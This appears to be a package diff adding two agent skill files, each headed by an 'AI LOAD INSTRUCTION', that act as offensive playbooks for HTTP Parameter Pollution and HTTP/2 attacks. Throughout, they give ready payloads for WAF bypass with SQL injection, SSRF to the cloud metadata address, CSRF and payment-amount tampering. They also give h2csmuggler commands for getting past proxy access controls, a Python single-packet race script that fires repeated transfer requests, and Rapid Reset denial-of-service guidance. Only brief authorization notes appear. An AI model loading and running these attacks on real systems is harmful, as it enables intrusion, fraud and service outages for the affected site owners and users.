ineedcodes 1.6.1 → 1.7.0

package/skills/http-parameter-pollution/SKILL.md

@@ -0,0 +1,208 @@
+---
+name: http-parameter-pollution
+description: >-
+  HTTP Parameter Pollution (HPP): duplicate query/body keys parsed differently by servers, proxies, WAFs, and app frameworks. Use when filters and application layers disagree on which value wins, enabling bypass, SSRF second URL, logic abuse, or CSRF token confusion.gated: true
+---
+
+# SKILL: HTTP Parameter Pollution (HPP)
+
+> **AI LOAD INSTRUCTION**: Model the **full request path**: browser → CDN/WAF → reverse proxy → app framework → business code. Duplicate keys (`a=1&a=2`) are not an error at HTTP level; each hop may pick first, last, join, or array-ify. Test HPP when WAF and app disagree, or when internal HTTP clients rebuild query strings. Routing note: when the same parameter appears multiple times, or WAF/backend stacks differ, use the Section 1 matrix to test first/last/merge assumptions, then design Section 3 scenario chains.
+
+## 0. QUICK START
+
+**Hypothesis**: the **security check** reads one occurrence of a parameter while the **action** reads another.
+
+### First-pass payloads
+
+```text
+id=1&id=2
+id=1&id=1%20OR%201=1
+url=https://legit.example&id=https://evil.example
+amount=1&amount=9999
+csrf=TOKEN_A&csrf=TOKEN_B
+user=alice&user=admin
+```
+
+### Body variants (repeat for POST)
+
+```text
+application/x-www-form-urlencoded
+id=1&id=2
+
+multipart/form-data
+------boundary
+Content-Disposition: form-data; name="id"
+1
+------boundary
+Content-Disposition: form-data; name="id"
+2
+```
+
+### Quick methodology
+
+1. Fingerprint **front** stack (CDN/WAF) vs **origin** (language/framework) using baseline `a=1&a=2`.
+2. Send **both** orders: `a=1&a=2` and `a=2&a=1` (some parsers are order-sensitive).
+3. If JSON: test **duplicate keys** and Content-Type confusion (see Section 2).
+
+---
+
+## 1. SERVER BEHAVIOR MATRIX
+
+Typical defaults — **always confirm**; middleware and custom parsers override these.
+
+| Technology | Behavior | Example: `a=1&a=2` |
+|---|---|---|
+| PHP / Apache (`$_GET`) | Last occurrence | `a=2` |
+| ASP.NET / IIS | Often comma-joined (all) | `a=1,2` |
+| JSP / Tomcat (servlet param) | First occurrence | `a=1` |
+| Python / Django (`QueryDict`) | Last occurrence | `a=2` |
+| Python / Flask (`request.args`) | First occurrence | `a=1` |
+| Node.js / Express (`req.query`) | Array of values | `a=['1','2']` (shape may vary by parser version) |
+| Perl / CGI | First occurrence | `a=1` |
+| Ruby / Rack (Rack::Utils) | Last occurrence | `a=2` |
+| Go `net/http` (`ParseQuery`) | First occurrence | `a=1` |
+
+**Why it matters**: a WAF on **IIS** might see `1,2` while PHP backend receives `2` only — or the reverse if a proxy normalizes.
+
+---
+
+## 2. PAYLOAD PATTERNS
+
+### 2.1 Basic duplicate key
+
+```http
+GET /api?q=safe&q=evil HTTP/1.1
+```
+
+### 2.2 Array-style (PHP / some frameworks)
+
+```http
+GET /api?id[]=1&id[]=2 HTTP/1.1
+```
+
+### 2.3 Mixed array + scalar
+
+```http
+GET /api?item[]=a&item=b HTTP/1.1
+```
+
+### 2.4 Encoded ampersand (parser differential)
+
+```text
+# Literal & inside a value vs new pair — depends on decoder
+param=value1%26other=value2
+param=value1&other=value2
+```
+
+### 2.5 Nested / bracket keys
+
+```http
+GET /api?user[name]=a&user[role]=user&user[role]=admin HTTP/1.1
+```
+
+### 2.6 JSON duplicate keys
+
+```json
+{"test":"user","test":"admin"}
+```
+
+Many parsers keep **last** key; some keep **first**. JavaScript `JSON.parse` keeps the last duplicate key.
+
+---
+
+## 3. ATTACK SCENARIOS
+
+### 3.1 HPP + WAF bypass
+
+**Pattern**: WAF inspects **first** value; application uses **last**.
+
+```text
+id=1&id=1%20UNION%20SELECT%20...
+```
+
+Also try: benign value in JSON field duplicated in query string, if gateway merges sources differently.
+
+### 3.2 HPP + SSRF
+
+**Pattern**: validator reads **safe** URL; fetcher reads **internal/evil** URL.
+
+```text
+url=https://allowed.cdn.example/&url=http://169.254.169.254/
+```
+
+Confirm which component (library vs app) consumes which occurrence.
+
+### 3.3 HPP + CSRF
+
+**Pattern**: duplicate anti-CSRF token so one copy satisfies parser A and another satisfies parser B.
+
+```text
+csrf=LEGIT&csrf=IGNORED_OR_ALT
+```
+
+Use only in **authorized** CSRF assessments with a clear state-changing target.
+
+### 3.4 HPP + business logic (e.g. payment)
+
+```text
+amount=1&amount=5000
+quantity=1&quantity=-1
+price=9.99&price=0.01
+```
+
+Pair with **race conditions** or **server-side rounding** for higher impact; HPP alone often needs a split interpretation across layers.
+
+---
+
+## 4. TOOLS
+
+| Tool | How to use |
+|---|---|
+| **Burp Suite** | Repeater: duplicate keys in raw query/body; Param Miner / extensions for hidden params; compare responses for `first` vs `last` interpretation |
+| **OWASP ZAP** | Manual Request Editor; Automated Scan may not deeply fuzz HPP — prefer manual variants |
+| **Custom scripts** | Build exact raw HTTP (preserve ordering) — some clients normalize duplicates |
+
+**Tip**: log **raw** query strings at the app if you control a test lab; some frameworks expose only the “winning” value while logs show the full string.
+
+---
+
+## 5. DECISION TREE
+
+```text
+                    +-------------------------+
+                    | Duplicate param name    |
+                    | same request            |
+                    +------------+------------+
+                                 |
+              +------------------+------------------+
+              |                                     |
+       +------v------+                       +------v------+
+       | Single app  |                       | WAF / CDN / |
+       | layer only  |                       | proxy chain |
+       +------+------+                       +------+------+
+              |                                     |
+    +---------v---------+                 +---------v---------+
+    | Read framework    |                 | Map each hop:     |
+    | docs + test       |                 | first/last/join/  |
+    | a=1&a=2 vs swap   |                 | array             |
+    +---------+---------+                 +---------+---------+
+              |                                     |
+              +------------------+------------------+
+                                 |
+                          +------v------+
+                          | Pick attack |
+                          | template    |
+                          +------+------+
+                                 |
+         +-----------+-----------+-----------+-----------+
+         |           |           |           |           |
+    +----v----+ +----v----+ +----v----+ +----v----+ +----v----+
+    | WAF vs  | | SSRF    | | CSRF    | | Logic   | | JSON    |
+    | app     | | split   | | token   | | numeric | | dup key |
+    | value   | | URL     | | confuse | | fields  | | parsers |
+    +---------+ +---------+ +---------+ +---------+ +---------+
+```
+
+---
+
+**Safety & scope**: HPP testing can change server state (payments, account settings). Run only where **explicitly authorized**, with scoped accounts, and document parser behavior before high-impact requests.

package/skills/http2-specific-attacks/SKILL.md

@@ -0,0 +1,350 @@
+---
+name: http2-specific-attacks
+description: >-
+  HTTP/2 protocol-specific attack playbook. Use when the target supports HTTP/2 and you need to exploit binary framing, HPACK compression, h2c upgrade smuggling, pseudo-header injection, stream multiplexing abuse, or H2→H1 downgrade translation flaws.gated: true
+---
+
+# SKILL: HTTP/2 Specific Attacks — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: HTTP/2 protocol-level attack techniques beyond basic request smuggling. Covers h2c smuggling, pseudo-header manipulation, HPACK attacks, single-packet race conditions, and H2→H1 downgrade injection. Base models conflate HTTP/2 smuggling with HTTP/1.1 smuggling — this skill focuses on H2-unique attack surface.
+
+## 0. RELATED ROUTING
+
+- [request-smuggling](../request-smuggling/SKILL.md) — CL.TE/TE.CL/TE.TE fundamentals and H2.CL/H2.TE variants
+- [request-smuggling/H2_SMUGGLING_VARIANTS.md](../request-smuggling/H2_SMUGGLING_VARIANTS.md) — byte-level H2.CL/H2.TE payloads, CL.0, client-side desync
+- [race-condition](../race-condition/SKILL.md) — single-packet attack leverages H2 multiplexing for race conditions
+- [web-cache-deception](../web-cache-deception/SKILL.md) — cache poisoning via H2 smuggled responses
+
+---
+
+## 1. HTTP/2 ATTACK SURFACE OVERVIEW
+
+| Feature | Attack Surface |
+|---|---|
+| Binary framing | Frame-level manipulation, parser differentials |
+| HPACK compression | Compression oracles (CRIME/BREACH), table poisoning |
+| Multiplexing | Single-packet race conditions, RST_STREAM flood |
+| Server push | Cache poisoning via unsolicited push |
+| Pseudo-headers (`:method`/`:path`/`:authority`/`:scheme`) | Injection, request splitting, path discrepancy |
+
+---
+
+## 2. h2c (HTTP/2 CLEARTEXT) SMUGGLING
+
+### 2.1 Concept
+
+h2c is HTTP/2 without TLS, negotiated via the HTTP/1.1 `Upgrade` mechanism. Many reverse proxies forward the `Upgrade: h2c` header without understanding it, allowing attackers to bypass proxy-level access controls.
+
+```
+Client ──[Upgrade: h2c]──> Reverse Proxy ──[forwards blindly]──> Backend
+                                                                    │
+                                                            Backend speaks H2
+                                                            Proxy is blind to
+                                                            the H2 conversation
+```
+
+### 2.2 Attack Flow
+
+```
+1. Client sends HTTP/1.1 request with:
+   GET / HTTP/1.1
+   Host: target.com
+   Upgrade: h2c
+   HTTP2-Settings: <base64 H2 settings>
+   Connection: Upgrade, HTTP2-Settings
+
+2. Proxy forwards request (doesn't understand h2c)
+3. Backend responds: HTTP/1.1 101 Switching Protocols
+4. Connection is now HTTP/2 between client and backend
+5. Proxy is now a TCP tunnel — cannot inspect/filter H2 frames
+6. Client sends H2 requests directly to backend, bypassing proxy rules
+```
+
+### 2.3 What You Can Bypass
+
+```
+✓ Path-based access controls (/admin blocked at proxy → accessible via h2c)
+✓ WAF rules (proxy-side WAF can't inspect H2 binary frames)
+✓ Rate limiting (proxy-level rate limits bypassed)
+✓ Authentication (proxy-enforced auth headers)
+✓ IP restrictions (proxy validates source IP, but h2c tunnel bypasses)
+```
+
+### 2.4 Tool: h2csmuggler
+
+```bash
+# Install
+git clone https://github.com/BishopFox/h2csmuggler
+cd h2csmuggler
+pip3 install h2
+
+# Basic smuggle — access /admin bypassing proxy restrictions
+python3 h2csmuggler.py -x https://target.com/ --test
+
+# Smuggle specific path
+python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin/users
+
+# With custom headers
+python3 h2csmuggler.py -x https://target.com/ -X GET -p /admin \
+    -H "Authorization: Bearer token123"
+```
+
+### 2.5 Detection
+
+```bash
+# Check if backend supports h2c upgrade
+curl -v --http1.1 https://target.com/ \
+    -H "Upgrade: h2c" \
+    -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA" \
+    -H "Connection: Upgrade, HTTP2-Settings"
+
+# 101 Switching Protocols → h2c supported
+# 200/400/other → h2c not supported or proxy blocks upgrade
+```
+
+---
+
+## 3. PSEUDO-HEADER INJECTION
+
+### 3.1 HTTP/2 Pseudo-Headers
+
+HTTP/2 replaces the request line with pseudo-headers (prefixed with `:`):
+
+| Pseudo-Header | HTTP/1.1 Equivalent | Example |
+|---|---|---|
+| `:method` | Request method | `GET`, `POST` |
+| `:path` | Request URI | `/api/users` |
+| `:authority` | Host header | `target.com` |
+| `:scheme` | Protocol | `https` |
+
+### 3.2 Path Discrepancy Between Proxy and Backend
+
+```
+Scenario: Proxy routes based on :path, backend uses different parsing
+
+H2 request:
+  :method: GET
+  :path: /public/../admin/users
+  :authority: target.com
+
+Proxy sees: /public/../admin/users → matches /public/* rule → ALLOWED
+Backend normalizes: /admin/users → serves admin content
+```
+
+### 3.3 Duplicate Pseudo-Header Injection
+
+HTTP/2 spec forbids duplicate pseudo-headers, but implementation varies:
+
+```
+:method: GET
+:path: /public
+:path: /admin       ← duplicate, forbidden by spec
+:authority: target.com
+
+Proxy may use first :path (/public) for routing
+Backend may use last :path (/admin) for serving
+```
+
+### 3.4 Authority vs Host Disagreement
+
+```
+:authority: public.target.com    ← proxy routes based on this
+host: admin.internal.target.com  ← backend may prefer Host header
+
+Result: proxy routes to public vhost, backend serves admin vhost
+```
+
+### 3.5 Scheme Manipulation
+
+```
+:scheme: https
+:path: /api/internal
+:authority: target.com
+
+If backend trusts :scheme to determine if request is "internal":
+  :scheme: https → "external" → restricted
+  :scheme: http  → "internal" → unrestricted access
+```
+
+---
+
+## 4. HPACK COMPRESSION ATTACKS
+
+### 4.1 CRIME/BREACH on HTTP/2
+
+```
+Principle: HPACK compresses headers. If attacker controls part of a header and a secret
+exists in the same compression context, matching guesses → smaller frames → oracle.
+
+Limitation: HPACK uses static+dynamic table (not raw DEFLATE), per-connection table,
+requires many requests on same connection. Harder than original CRIME.
+```
+
+### 4.2 Header Table Poisoning
+
+```
+HPACK dynamic table stores recent headers across requests on same connection.
+1. Attacker sends X-Custom: malicious-value → added to dynamic table
+2. Subsequent requests may reference this entry
+3. If CDN/proxy pools connections → attacker and victim share table → cross-request leakage
+```
+
+---
+
+## 5. STREAM MULTIPLEXING ABUSE
+
+### 5.1 Single-Packet Attack (Race Conditions)
+
+HTTP/2 multiplexing allows sending multiple requests in a single TCP packet, achieving true simultaneous server-side processing:
+
+```
+Traditional race condition: send N requests → network jitter → inconsistent timing
+H2 single-packet: pack N requests into one TCP segment → all arrive simultaneously
+
+                    ┌─ Stream 1: POST /transfer (amount=1000)
+Single TCP packet ──├─ Stream 3: POST /transfer (amount=1000)
+                    ├─ Stream 5: POST /transfer (amount=1000)
+                    └─ Stream 7: POST /transfer (amount=1000)
+                    
+All 4 requests processed at the same nanosecond window
+```
+
+```python
+# Using h2 library — prepare all requests, send in single write
+import h2.connection, h2.config, socket, ssl
+
+ctx = ssl.create_default_context()
+ctx.set_alpn_protocols(['h2'])
+sock = ctx.wrap_socket(socket.create_connection((host, 443)), server_hostname=host)
+
+conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
+conn.initiate_connection()
+sock.sendall(conn.data_to_send())
+
+for i in range(20):
+    sid = conn.get_next_available_stream_id()
+    conn.send_headers(sid, [(':method','POST'),(':path',path),(':authority',host),(':scheme','https')])
+    conn.send_data(sid, b'amount=1000', end_stream=True)
+
+sock.sendall(conn.data_to_send())  # ALL frames in single TCP packet
+```
+
+### 5.2 RST_STREAM Flood (CVE-2023-44487 "Rapid Reset")
+
+```
+Attack: HEADERS (open stream) → RST_STREAM (cancel) → repeat thousands/sec
+Server processes each open/close but client doesn't wait for responses
+Amplification: minimal client resources → massive server CPU exhaustion
+```
+
+### 5.3 PRIORITY Manipulation
+
+```
+Set exclusive=true + weight=256 on attacker's stream → starve other users' requests
+```
+
+---
+
+## 6. HTTP/2 → HTTP/1.1 DOWNGRADE ISSUES
+
+### 6.1 Header Injection via Binary Format
+
+H2 header values are binary — `\r\n` is valid data within a value. When proxy downgrades to H1, `\r\n` in header value becomes actual line break → header injection.
+
+```
+H2: X-Custom: "value\r\nInjected: evil"  → binary, valid
+H1: X-Custom: value                      → line break
+    Injected: evil                        → new header!
+```
+
+### 6.2 Transfer-Encoding Smuggling
+
+H2 spec forbids `transfer-encoding`, but some proxies pass it through during downgrade → backend processes chunked encoding → H2.TE smuggling. See `../request-smuggling/H2_SMUGGLING_VARIANTS.md`.
+
+### 6.3 Content-Length Discrepancy
+
+H2 uses frame length (no CL needed). If proxy generates CL during downgrade but attacker also sent a CL header → conflicting lengths → request smuggling.
+
+### 6.4 Header Name Case
+
+H2 requires lowercase. Sending `Transfer-Encoding` (uppercase) is invalid H2 but some proxies pass it → valid H1 header on backend.
+
+---
+
+## 7. SERVER PUSH CACHE POISONING
+
+```
+Attack: trigger server push for /static/app.js with attacker-controlled content
+  → PUSH_PROMISE frame pushes malicious response
+  → browser/CDN caches poisoned content under legitimate URL
+  → all subsequent loads serve attacker's content
+
+Mitigation: most modern browsers/CDNs restrict or disable server push
+```
+
+---
+
+## 8. DECISION TREE
+
+```
+Target supports HTTP/2?
+│
+├── YES
+│   ├── Does proxy support h2c upgrade?
+│   │   ├── YES → h2c smuggling (Section 2)
+│   │   │   └── Access restricted paths bypassing proxy rules
+│   │   └── NO → Continue
+│   │
+│   ├── H2→H1 downgrade between proxy and backend?
+│   │   ├── YES → Header injection via binary format (Section 6.1)
+│   │   │   ├── TE header passthrough? → H2.TE smuggling (Section 6.2)
+│   │   │   ├── CL discrepancy? → H2.CL smuggling (Section 6.3)
+│   │   │   └── See ../request-smuggling/H2_SMUGGLING_VARIANTS.md
+│   │   └── NO (end-to-end H2) → Continue
+│   │
+│   ├── Need race condition?
+│   │   ├── YES → Single-packet attack via multiplexing (Section 5.1)
+│   │   │   └── Pack N requests in one TCP segment
+│   │   └── NO → Continue
+│   │
+│   ├── Pseudo-header manipulation viable?
+│   │   ├── :path discrepancy → path confusion (Section 3.2)
+│   │   ├── :authority vs Host → vhost confusion (Section 3.4)
+│   │   └── :scheme manipulation → access control bypass (Section 3.5)
+│   │
+│   ├── Server push enabled?
+│   │   ├── YES → Cache poisoning via push (Section 7)
+│   │   └── NO → Continue
+│   │
+│   └── DoS objective?
+│       ├── RST_STREAM rapid reset (Section 5.2)
+│       └── PRIORITY starvation (Section 5.3)
+│
+└── NO (HTTP/1.1 only)
+    └── See ../request-smuggling/SKILL.md for H1-specific techniques
+```
+
+---
+
+## 9. TOOLS REFERENCE
+
+| Tool | Purpose |
+|---|---|
+| **h2csmuggler** | h2c upgrade smuggling (github.com/BishopFox/h2csmuggler) |
+| **http2smugl** | H2-specific desync testing (github.com/neex/http2smugl) |
+| **h2 (Python)** | HTTP/2 protocol lib for frame crafting (github.com/python-hyper/h2) |
+| **nghttp2** | H2 client/server tools (nghttp2.org) |
+| **Burp HTTP Request Smuggler** | Automated variant scanning |
+| **curl --http2** | Quick H2 probing (built-in) |
+
+---
+
+## 10. QUICK REFERENCE
+
+```bash
+# h2c probe
+curl -v --http1.1 https://target.com/ -H "Upgrade: h2c" -H "Connection: Upgrade, HTTP2-Settings" -H "HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA"
+
+# H2 support check
+curl -v --http2 https://target.com/ 2>&1 | grep "ALPN"
+```